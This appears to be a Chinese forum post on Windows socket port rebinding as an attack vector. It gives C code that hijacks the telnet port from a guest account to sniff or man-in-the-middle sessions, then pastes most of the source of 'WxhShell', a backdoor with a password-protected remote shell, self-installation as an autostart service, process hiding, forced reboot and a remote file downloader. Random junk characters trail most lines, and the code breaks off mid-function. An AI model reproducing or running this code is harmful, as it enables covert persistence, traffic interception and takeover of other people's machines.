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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Ba]^0Y u  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); Z"'tJ3Y.~  
LO M-i>  
  saddr.sin_family = AF_INET; c{K[bppJ*  
$<s 3;>t  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); %C(^v)"  
[cf!%3>53  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); I> z0)pB  
#x5?RHX56  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 Q"sszz  
"\M^jO  
  这意味着什么?意味着可以进行如下的攻击: S -KHot ?  
$n@B:kv5p  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 %13V@'e9  
:B]yreg  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) *4|]=yPU  
_+2Jc}Yf  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 H{j jA+0  
E?[]N[0Kl  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  ,[<+7  
@a}jnl(2  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 n|f Huv  
)wueR5P  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 E(G&mfhb  
$fl+l5?9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。  a EmLf  
,fW%Qv  
  #include V`XtGTx  
  #include +LsACSB  
  #include JE.s?k  
  #include    |(\T;~7'  
  DWORD WINAPI ClientThread(LPVOID lpParam);   @fG 'X  
  int main() rW B/#m  
  { Dk`(Wgk2  
  WORD wVersionRequested; ct![eWsuB  
  DWORD ret; DDwm;,eZ  
  WSADATA wsaData; N.@@ebuE  
  BOOL val; 1A.ecv'  
  SOCKADDR_IN saddr; I&G"{Dl94  
  SOCKADDR_IN scaddr; :J6lJ8w ?  
  int err; %#$K P  
  SOCKET s; U[t/40W}P  
  SOCKET sc; xb~8uD5  
  int caddsize; @j|=M7B  
  HANDLE mt; G2BB]] m3  
  DWORD tid;   Kk9W=vd  
  wVersionRequested = MAKEWORD( 2, 2 ); p?XVO#  
  err = WSAStartup( wVersionRequested, &wsaData ); (N :vDq'  
  if ( err != 0 ) { A9\(vxxOpC  
  printf("error!WSAStartup failed!\n"); W 2.Ap  
  return -1; UY$Lqe~  
  } 7F@#6  
  saddr.sin_family = AF_INET; @Xg5 E  
   o{?Rz3z  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 4RoE>m1[G  
@UCr`>  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;fGh]i  
  saddr.sin_port = htons(23); ] g]^^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) {f:%+h  
  { WYXh1_nyk  
  printf("error!socket failed!\n"); @m+2e C77  
  return -1; %29lDd(<  
  } B EB[K2[9  
  val = TRUE; SM8Wg>  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0S71&I$u]  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) G24 Ov&H  
  { ft><Ql3  
  printf("error!setsockopt failed!\n"); c1aIZ  
  return -1; KO3X)D<3  
  } ur K~]68  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; AMf{E  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Z(:q.{"r  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j9^V)\6)  
N83c+vs%c  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) hxe X6  
  { yeqH eZ  
  ret=GetLastError(); ! n13B  
  printf("error!bind failed!\n"); xka&,`z  
  return -1; ,zVS}!jRhy  
  } ]m<z  
  listen(s,2); >&%#`PKT  
  while(1) q)PLc{NO  
  { Bx 9v2x.  
  caddsize = sizeof(scaddr); d.Ep#4  
  //接受连接请求 :^H2D=z@  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); vMYL( ]e  
  if(sc!=INVALID_SOCKET) ^Cy=L]  
  { s@D/.X  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); PQJw"[N/YM  
  if(mt==NULL) <`'T#e$  
  { 1'4?}0Dok  
  printf("Thread Creat Failed!\n"); +LwwI*;b  
  break; _{&bmE  
  } =}UcYC6l  
  } =k^ d5  
  CloseHandle(mt); hnBX enT6  
  } 7 tQ?av  
  closesocket(s); 8@A}.:  
  WSACleanup(); wU(!fw\  
  return 0; n4InZ!)  
  }   p!>DA?vF  
  DWORD WINAPI ClientThread(LPVOID lpParam) /^hc8X  
  { >yf}9Zs  
  SOCKET ss = (SOCKET)lpParam; ~`X$b F  
  SOCKET sc; g$ h`.Fk,  
  unsigned char buf[4096]; TY;%nT  
  SOCKADDR_IN saddr; 7 >-(g+NF!  
  long num; W:8pmI  
  DWORD val; i[/`9 AK  
  DWORD ret; z07Xj%zX9  
  //如果是隐藏端口应用的话,可以在此处加一些判断 i62GZe E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   PvB{@82  
  saddr.sin_family = AF_INET; .s-*aoj  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); D=@bPB>  
  saddr.sin_port = htons(23); hg2UZ% Y  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) e?_uJh"  
  { = P$Q;d  
  printf("error!socket failed!\n"); W$xW9u8@+(  
  return -1; *aW:Z6N  
  } QWwdtk  
  val = 100; )|wC 1J!L  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) $O_{cSKg7  
  { ftxy]N LF  
  ret = GetLastError(); Qv6-,6<  
  return -1; P:%r3F  
  } d.yATP  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) T^Ol=QCu  
  { # 1 1<=3Yj  
  ret = GetLastError(); *I.eCMDa  
  return -1; [\-)c[/  
  } [JYy  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) @{{6Nd5  
  { IoZ _zz0  
  printf("error!socket connect failed!\n"); bF'Jm*f  
  closesocket(sc); DT3"uJTt  
  closesocket(ss); qs {wrem  
  return -1; >|aVGY  
  } w@WPp0mny  
  while(1) Fv<3VKueK[  
  { _N:GZLG  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 5Nl?Km~  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 <w3_EO  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 !v. <H]s)  
  num = recv(ss,buf,4096,0); gH yJ~  
  if(num>0) [ji')PCAi;  
  send(sc,buf,num,0);  kMZo7 y  
  else if(num==0) x Nb7VUV7  
  break; qSt\ 6~  
  num = recv(sc,buf,4096,0); L)c]i'WZ  
  if(num>0) a66Ns7Rb  
  send(ss,buf,num,0); _*ar\A`  
  else if(num==0) XhUVDmeUMb  
  break; XtqhK"f%  
  } OlP1Zd/l  
  closesocket(ss); q $PO. #  
  closesocket(sc); {F;"m&3Lt  
  return 0 ; ^hcK&  
  } '^`iF,rg  
wZVLpF+7  
_Kbj?j  
========================================================== Ca -.&$f  
7(d#zu6n  
下边附上一个代码,,WXhSHELL @r=,: 'Mt  
'<$*N  
========================================================== :7~DiH:Q  
1zgM$p  
#include "stdafx.h" ;3XOk+  
6)c-s|#  
#include <stdio.h> {YG qa$+\  
#include <string.h> p'A43  
#include <windows.h> wLzV#8>  
#include <winsock2.h> oqo7Ge2  
#include <winsvc.h> 9_O6Sl  
#include <urlmon.h> $]rC-K:Z  
NQA2usb  
#pragma comment (lib, "Ws2_32.lib") =]S,p7*7  
#pragma comment (lib, "urlmon.lib") -]t>'Q?  
Ehxu`>@N  
#define MAX_USER   100 // 最大客户端连接数 tUt_Q;%yC  
#define BUF_SOCK   200 // sock buffer p3>Md?e  
#define KEY_BUFF   255 // 输入 buffer Tp|>(~;ai  
my0iE:  
#define REBOOT     0   // 重启 9N<=,!;5~s  
#define SHUTDOWN   1   // 关机 =RAojoN  
^B1$|C D,  
#define DEF_PORT   5000 // 监听端口 ]( FFvqA  
gVrfZ&XF84  
#define REG_LEN     16   // 注册表键长度 !hjF"Pa  
#define SVC_LEN     80   // NT服务名长度 rZWs-]s6t  
V"B/4v>  
// 从dll定义API )2Bb,p<Wr  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); C-\3,  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &8I }q]'k  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); SLRF\mh!L  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); AiB]A}  
*Nfot v  
// wxhshell配置信息 (\'$$  
struct WSCFG { zp5ZZcj_  
  int ws_port;         // 监听端口 o=6 <?v7  
  char ws_passstr[REG_LEN]; // 口令 q\-P/aN_  
  int ws_autoins;       // 安装标记, 1=yes 0=no F]fXS-@ c  
  char ws_regname[REG_LEN]; // 注册表键名 U9K'O !i>  
  char ws_svcname[REG_LEN]; // 服务名 4)8e0L*[B?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 HYL['B?Wid  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 )x~ /qHt  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 %w?C)$Kn\  
int ws_downexe;       // 下载执行标记, 1=yes 0=no $ w+.-Tr  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" =sAU5Ag68  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 GS7'pTsYH  
:5BCW68le  
}; }1%%`  
|3^U\r^zo  
// default Wxhshell configuration r-*j"1 e  
struct WSCFG wscfg={DEF_PORT, *(qj!U43  
    "xuhuanlingzhe", zXU g(xu  
    1, mZM,"Wq,  
    "Wxhshell", Kr[oP3  
    "Wxhshell", s4QCun~m  
            "WxhShell Service", 4H NaE{O4  
    "Wrsky Windows CmdShell Service", /4N?v. jf  
    "Please Input Your Password: ", +prUau*  
  1, mkhWbzD'S  
  "http://www.wrsky.com/wxhshell.exe", v*&j A 8D  
  "Wxhshell.exe" Y`#6MhFT7  
    }; X%iJPJLza  
o)>iHzR</  
// 消息定义模块 i"x V=.  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ,FXc_BCx4  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 7XLqP  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; rxqSi0p  
char *msg_ws_ext="\n\rExit."; ve:Oe{Ie{  
char *msg_ws_end="\n\rQuit."; )8oN$2 0  
char *msg_ws_boot="\n\rReboot..."; J_fs}Y1q\  
char *msg_ws_poff="\n\rShutdown..."; O #t[YP  
char *msg_ws_down="\n\rSave to "; dPbn[*:  
#6v357-5  
char *msg_ws_err="\n\rErr!"; ^d@2Y0hH  
char *msg_ws_ok="\n\rOK!";  axDa&7%  
pwkTe  
char ExeFile[MAX_PATH]; ~)n[Vf  
int nUser = 0; &]GR*a  
HANDLE handles[MAX_USER]; lHDZfwJ&C1  
int OsIsNt; K&zW+C b  
H=\Tse_.  
SERVICE_STATUS       serviceStatus; ?@7!D8$9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; i7Cuc+ j8  
3%Eu$|B  
// 函数声明 H  XFY  
int Install(void); z&B9Yu4M7  
int Uninstall(void); ];"40/X  
int DownloadFile(char *sURL, SOCKET wsh); ecQ{ePoU  
int Boot(int flag); r d-yqdJ  
void HideProc(void); R\XS5HOE(  
int GetOsVer(void); p2k`)=iX  
int Wxhshell(SOCKET wsl); "}#%h&,  
void TalkWithClient(void *cs); ;]b4O4C\  
int CmdShell(SOCKET sock); TLp2a<Iy  
int StartFromService(void); 5!cp^[rGL  
int StartWxhshell(LPSTR lpCmdLine); Sc#3<nVg  
lC`w}0 p  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); '=%`;?j  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Aj=GekX{  
!>D[Y  
// 数据结构和表定义 /}J_2  
SERVICE_TABLE_ENTRY DispatchTable[] = 0[M2LF!m  
{ .@%L8_sMR  
{wscfg.ws_svcname, NTServiceMain}, v|\#wrCT?  
{NULL, NULL} fQ~TZ:UrU  
}; ^1vKhO+p$  
UP$>,05z6  
// 自我安装 F_9 4k  
int Install(void) rsLkH&aM  
{ PH%'^YAl7  
  char svExeFile[MAX_PATH]; MG~Z)+g=y  
  HKEY key; a!/\:4-uc  
  strcpy(svExeFile,ExeFile); X 6tJ  
x,]x>Up  
// 如果是win9x系统,修改注册表设为自启动 U\B9Ab  
if(!OsIsNt) { _P!b0x~\  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { u$C\#y7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]1XtV<  
  RegCloseKey(key); B@NBN&Fr  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {  }( CYok  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bmK  
  RegCloseKey(key); 4L ]4WVc  
  return 0; `GW&*[.7  
    } iw=e"6V  
  } XzSl"UPYH  
} @eeI4Jz  
else { Q{?\qCrrYl  
`e~i<Pi  
// 如果是NT以上系统,安装为系统服务 [@5cYeW3.  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); `2LmLFkb  
if (schSCManager!=0) {9-9!jN{"  
{ o $W@@aM  
  SC_HANDLE schService = CreateService cTzR<Yr  
  ( 4x(m.u@  
  schSCManager, z-b78A/8  
  wscfg.ws_svcname, :aomDK*  
  wscfg.ws_svcdisp, TukhGgmF  
  SERVICE_ALL_ACCESS, li v=q  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , CHZ/@gc  
  SERVICE_AUTO_START, |>.MH  
  SERVICE_ERROR_NORMAL, @'):rFr@F  
  svExeFile, `4snTM!v&  
  NULL, 2>o^@4PnZ  
  NULL, nDO7  
  NULL, 2T)k-3  
  NULL, C?>d$G8  
  NULL *$|f9jVh  
  ); ^|p D(v  
  if (schService!=0)  nOd;Zw  
  { +6$+] u]  
  CloseServiceHandle(schService); =}Zl E  
  CloseServiceHandle(schSCManager); s R>>l3H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); i%.k{MY  
  strcat(svExeFile,wscfg.ws_svcname); f=}T^Z<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ymqv@Byi8A  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); [j5+PV  
  RegCloseKey(key); NK/y,f6  
  return 0; #::+# G  
    } !-^oU"  
  } V^R,j1*  
  CloseServiceHandle(schSCManager); fdX|t "oz  
} ][tR=Y#&y5  
} B>>_t2IU  
`|>]P"9yp  
return 1; dm[cl~[ Q  
} >'W,8F  
R:&y@/JY8[  
// 自我卸载 Z!~_#_Ugl  
int Uninstall(void) {6h 1  
{ .Z'NH wCy  
  HKEY key; \%Y`>x.  
NQ;X|$!zH  
if(!OsIsNt) { VBPtM{ g  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { F nXm;k,9*  
  RegDeleteValue(key,wscfg.ws_regname); |8~)3P k  
  RegCloseKey(key); TP {\V>*Yz  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { CEkUXsp  
  RegDeleteValue(key,wscfg.ws_regname); RV_I&HD!  
  RegCloseKey(key); O50<h O]l  
  return 0; _b&26!gl  
  } 8.. |-<w  
} &z40l['4bz  
} 4gC(zJ  
else { e ar:`11z  
B!,&{[D  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); No6-i{HZ  
if (schSCManager!=0) XP o#qT8n  
{ LEP TL#WT1  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); / 7\q#qIm:  
  if (schService!=0) ]r 0j  
  { iTq&h=(n  
  if(DeleteService(schService)!=0) { tt2 S.j  
  CloseServiceHandle(schService); oF>`>  
  CloseServiceHandle(schSCManager); Z\`SDC  
  return 0; |yO%w#  
  } >I5Wf /$  
  CloseServiceHandle(schService); Vn kh Y  
  } J/K~8s c  
  CloseServiceHandle(schSCManager); 1}Q9y`65  
} &.DRAD)  
} BRM `/s  
{g1"{  
return 1; Ul /m]b6-  
} C.:S@{sK  
M^Z=~512g  
// 从指定url下载文件 !KOa'Ic$V  
int DownloadFile(char *sURL, SOCKET wsh) Cy uRj[;B  
{ aY? VP?BL  
  HRESULT hr; %n9ukc~$p  
char seps[]= "/"; "GZ}+K*GG  
char *token;  %V ]v,  
char *file; h M7 SGEV  
char myURL[MAX_PATH]; 9#P~cW?  
char myFILE[MAX_PATH]; y7:f^4  
K/Yeh<_&  
strcpy(myURL,sURL); ![ce }  
  token=strtok(myURL,seps); y[.lfW?)  
  while(token!=NULL) EGqu-WBS  
  { z-kv{y*Hu  
    file=token; s<#BxN  
  token=strtok(NULL,seps); h7fytO  
  } |3E|VGm~  
//|B?4kk  
GetCurrentDirectory(MAX_PATH,myFILE); ElpZzGj+  
strcat(myFILE, "\\"); x3FB`3y~s  
strcat(myFILE, file); r2+ZxMo|  
  send(wsh,myFILE,strlen(myFILE),0); Z T*}KJm  
send(wsh,"...",3,0); +g7]ga  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ?+7~ E8  
  if(hr==S_OK) S@3`H8 [  
return 0; 4(P<'FK $  
else F*#!hWtb  
return 1; mMXDzAllB  
_;5zA"~c#@  
} q?mpvpL G  
"IQYy~ /  
// 系统电源模块 2;>uP#1]  
int Boot(int flag) zLe(#8G  
{ Z7pX%nj_  
  HANDLE hToken; 5EQ)pH+  
  TOKEN_PRIVILEGES tkp; CQ.C{  
e8dZR3JL  
  if(OsIsNt) { ^&86VBP  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v\8v'EDP  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); H/M]YUs/3  
    tkp.PrivilegeCount = 1; tlD^"eq4:  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 5<`83; R9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~ L%,9  
if(flag==REBOOT) { /v<Gt%3X  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (n.IK/:  
  return 0; +U J~/XV  
} ga\ s5  
else { \F`>zY2$%  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) FIfLDT+Wh  
  return 0; ~E8/m_> rU  
} 3]9wfT%d  
  } ,7s+-sRG  
  else { ZG1TR F "  
if(flag==REBOOT) { ^pu8\K;~  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) w<THPFFF"  
  return 0; Wd!Z`,R  
} $PRd'YdL/  
else { Zy9IRZe4U  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) =s*c(>  
  return 0; )K]p^lO  
} J5jI/P  
} 6p&2 A  
R"HV|Dm|m  
return 1; @8m%*pBg  
} &F#eYEuy  
&E0^Jz  
// win9x进程隐藏模块 +RM!j9Rq  
void HideProc(void) Lz_.m  
{ BjPU@rS .U  
g}Lm;gs!>  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); r ^*D8  
  if ( hKernel != NULL ) 2^`k6V!  
  { _~yd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); =&k[qqxg  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 9pj6`5Zn@6  
    FreeLibrary(hKernel); u@:[ dbJ  
  } h {Jio>  
$Lbamg->E  
return; zmD7]?|  
} >#&25,Q  
N.Q}.(N0  
// 获取操作系统版本 6 F39'  
int GetOsVer(void) #+_=(J  
{ KwaxNb5  
  OSVERSIONINFO winfo; T zS?WYF  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); }BT0dKx  
  GetVersionEx(&winfo); 0/|Ax-dK  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sl@>GbnS  
  return 1; qhTVsZ:{C  
  else XABP}|aWK  
  return 0; T YR \K  
} wBw(T1VN  
h,&{m*q&  
// 客户端句柄模块 4Ng:7C2  
int Wxhshell(SOCKET wsl) V8WSJ=-&  
{ Z*b l J5YC  
  SOCKET wsh; B>cT <B  
  struct sockaddr_in client; [+W<;iep  
  DWORD myID; X-" +nThMn  
N}#"o  
  while(nUser<MAX_USER) icIWv  
{ C .B=E"e  
  int nSize=sizeof(client); ^yl}/OD  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); /%jX=S.5h<  
  if(wsh==INVALID_SOCKET) return 1; ^^!G{ *F  
:eL[nyQr  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); U}Puq5[ ?  
if(handles[nUser]==0) uJ0'`Q?6R9  
  closesocket(wsh); nvwf!iU6  
else UEx<;P8rP  
  nUser++; ^C~R)M:C  
  } FAc^[~E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); !wEe<],  
hW!n"qU  
  return 0; a @3s71  
} -'D ~nd${  
T4}Wg=UKg  
// 关闭 socket `bV&n!Y_  
void CloseIt(SOCKET wsh) .)WEg|D0Ku  
{ @T L|\T  
closesocket(wsh); Qa:[iF  
nUser--; X}x\n\Z  
ExitThread(0); %#&njP  
} KTot40osj  
kmu`sk"  
// 客户端请求句柄 0!0o[3*  
void TalkWithClient(void *cs) }!Pty25j  
{ umnQ$y 0  
=w`uZ;l$Q  
  SOCKET wsh=(SOCKET)cs; CSW+UaE  
  char pwd[SVC_LEN]; Gl|n}wo$  
  char cmd[KEY_BUFF]; z>y# ^f)r  
char chr[1]; #l- 0$  
int i,j; q o^mp  
S#yGqN0i  
  while (nUser < MAX_USER) { a%kvC#B  
,g0t&jITo  
if(wscfg.ws_passstr) { Np$&8v+en  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]=i('|YG  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D{y7[#$h$  
  //ZeroMemory(pwd,KEY_BUFF); biw . ~  
      i=0; *[b>]GXd49  
  while(i<SVC_LEN) { PrfG  
0n kC%j  
  // 设置超时 )'RaMo` 4  
  fd_set FdRead; P{QHG 3  
  struct timeval TimeOut; Z1 ($9hE>  
  FD_ZERO(&FdRead); yw7(!1j=  
  FD_SET(wsh,&FdRead); #XqCz>Z  
  TimeOut.tv_sec=8; UA~ 4O Q]  
  TimeOut.tv_usec=0; W,80deT  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); eYlI};  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); o%;ly  
~a_X 7  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); n=$ne2/  
  pwd=chr[0]; .<fdX()e,  
  if(chr[0]==0xd || chr[0]==0xa) { Q}<QE:-&E  
  pwd=0; +|X`cmnuU  
  break; <Ist^ h+o  
  } O(=9&PRi  
  i++; ]&D= *:c  
    } -Edy ~;_  
|nLq 4.  
  // 如果是非法用户,关闭 socket p"jze3mF  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); r7?nHF  
} o37oRv]  
Pn.DeoHme  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {=Jo!t;f  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); coPdyw'9&  
f##/-NG  
while(1) { Q_iN/F  
:X-S&S X0  
  ZeroMemory(cmd,KEY_BUFF); XSK<hr0m  
^=5y;  
      // 自动支持客户端 telnet标准   cjg~?R  
  j=0; +U_1B%e(%  
  while(j<KEY_BUFF) { 8>x' . 8  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); L1g0Dd\Ox  
  cmd[j]=chr[0]; srO>l ;Vf/  
  if(chr[0]==0xa || chr[0]==0xd) { NR8`nc1~  
  cmd[j]=0; P3 =#<Q.  
  break; %+|sbRBb  
  } QE)zH)(  
  j++; 9xzow,mi  
    } ,1Z([R*  
]W2#8:i  
  // 下载文件 z8{-I@+`  
  if(strstr(cmd,"http://")) { @^ -Y&N!b=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (/]#G8  
  if(DownloadFile(cmd,wsh)) CP%^)LX *  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); U  yV5A  
  else $>yfu=]?  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); % C2Vga#  
  } Lq;iR  
  else { d-tg^Ot#  
> 3(,s^  
    switch(cmd[0]) { gg%)#0Zi  
  oZ tCx  
  // 帮助 whHuV*K}  
  case '?': { yx4pQL7  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); g:y4C6b  
    break; Pz:,de~5Qm  
  } 9Sd?,z  
  // 安装 e?+-~]0  
  case 'i': { m$v >r\*X  
    if(Install()) @sg.0GR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); yOKzw~;0%  
    else Y0EX{oxt1  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); a L+>XN  
    break; 9"gu>  
    } m0v .[61  
  // 卸载 Z~-N'Lt{  
  case 'r': { \**j \m   
    if(Uninstall()) ?{`7W>G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); A]i!131{w|  
    else u "k< N|.3  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oxL<\4)WJ  
    break; dc1Zh W4  
    } g<0K i^#  
  // 显示 wxhshell 所在路径 J!5b~8`v  
  case 'p': { o}/|"(K  
    char svExeFile[MAX_PATH]; ~;Y Tz  
    strcpy(svExeFile,"\n\r"); X _@|+d  
      strcat(svExeFile,ExeFile); Kn@#5MC rU  
        send(wsh,svExeFile,strlen(svExeFile),0); L)F4)VL  
    break; H2#o X  
    } 9Scg:}Nj  
  // 重启 g\.$4N  
  case 'b': { $m*Gu:#xm&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); GCO: !,1  
    if(Boot(REBOOT)) `<>QKpAn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); kI@<H<  
    else { 2Zuo).2a.  
    closesocket(wsh); '#LzQ6Pn  
    ExitThread(0); Lkx~>U   
    } )&>W/56/  
    break; ~v pIy-  
    } (Ll'j0]k>  
  // 关机  @,k5T51m  
  case 'd': { U1) Zh-aR  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (y.N-I,  
